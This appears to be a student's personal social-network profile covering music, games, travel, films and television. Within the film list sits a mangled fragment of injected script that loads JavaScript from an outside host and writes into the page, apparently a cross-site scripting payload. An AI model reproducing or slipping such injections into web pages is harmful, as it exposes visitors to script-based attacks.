About Me



"If you're going through hell, keep going."


I'm currently studying Cybernetics and Artificial Intelligence at Reading University. Its awsome! Who knows, I might try and engineer a race of killer robots...
Born in Brighton, moved around lots in Sussex living in small villiages trying to entertain myself setting straw fields on fire and wondering what a pavement might be like.
Went round the world for 6 months and saw Hong Kong, Thailand, Australia, Canada and the USA. Best time of my life... so far :) Also been to Madrid, Venice, Sweden and Holland.
Became a professional programmer when I was 17. It was fun, now I'm going back to school to learn how to do it properly!
Tried to start my own internet gaming centre but Horsham Disctict Council thought kids in the area had enough to occupy themselves... Shelly's Nightclub?!
I play bass in a band and love making noooise! Come hear us at one of the gigs on me calendar!
I have an unhealthy obsession with maps and Google Earth.

My Interests


I play Bass guitar in "The Undercovers", a covers band based in Rock 'n' Roll Burgess Hill, that play pubs, bars, parties and all that. We play gigs in clubs around the Brighton area. I also play the electric and acoustic guitar, drums and a bit of everything... oh and i'm trying to do mixing in Ableton live!

I'm loving my computer games right now... mainly strategy games like Battle for Middle Earth II, but luckily i haven't yet felt it necessary to learn elvish. I collect old games consoles, got loads of retro games! I think i'm starting to develop internet addiction though, which is going to be fun.

THere should be some slideshows of stuff I've made below, if not hit refresh!

Food isn't really an interest is it? It's not that I can't be bothered to cook, its that picking up a leaflet, dialing a number and telling somebody what you want is so much more satisfying. That said, I can cook when I can be bothered. I love steak... mmm, steak, but can eat almost anything. Not a fan of liqourice, lamb or fish with bones...

Love watching Premiership action but I lack the commitment to support one team... call it cowardice call it whatever. I'm sure we're in agreement that football is the greatest sport ever invented. No? I play frisbee too. Might take up cycling, although its difficult without a bike; but not impossible.

I'd like to meet:


Persons who consider themselves to be 'safe'. If your musical thats a good start!
I'm going to have to change my description of that kind of girl i'm looking for. You may or may not remember, but I previously allowed for 1 mental illness. That was definately a mistake. No, i'm not going into it.
Now i'm looking for a girl who loves her music, can talk nonsence for hours and thinks there is more to life than what they are told about. A dreamer, like me :)

Movies:

There was a time just after my GCSE exams where I went to the Virgin cinema almost every day. Thanks to their MEGAPASS I saw nearly every film that came out in the summer of '99, and what a year that was for movies!
I was lucky enough to see Star Wars Episode II when I was in Australia at a midnight showing the day it came out! I didn't specifically travel out there to do that though if thats what your thinking... I'm not that tragic.
My Top (However Many) Movies:

A Knights Tale
Leon - The Professional .. language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("...mov.r{}");}..

Television:

We didn't have the internet until I was 11, so I had to learn what the world was all about through the TV. Thank god the Internet arrived, because otherwise i'd still be sitting there... Probably watching filth like this:

There was this program on a few years ago presented by Adam Hart-Davis; a man with a love of luminous pink and yellow lycra. His program 'Local Heroes' told you about all the people that invented the things we take for granted today, and whos names have already been forgotten. My list is nothing to do with that. Just clearing that up.
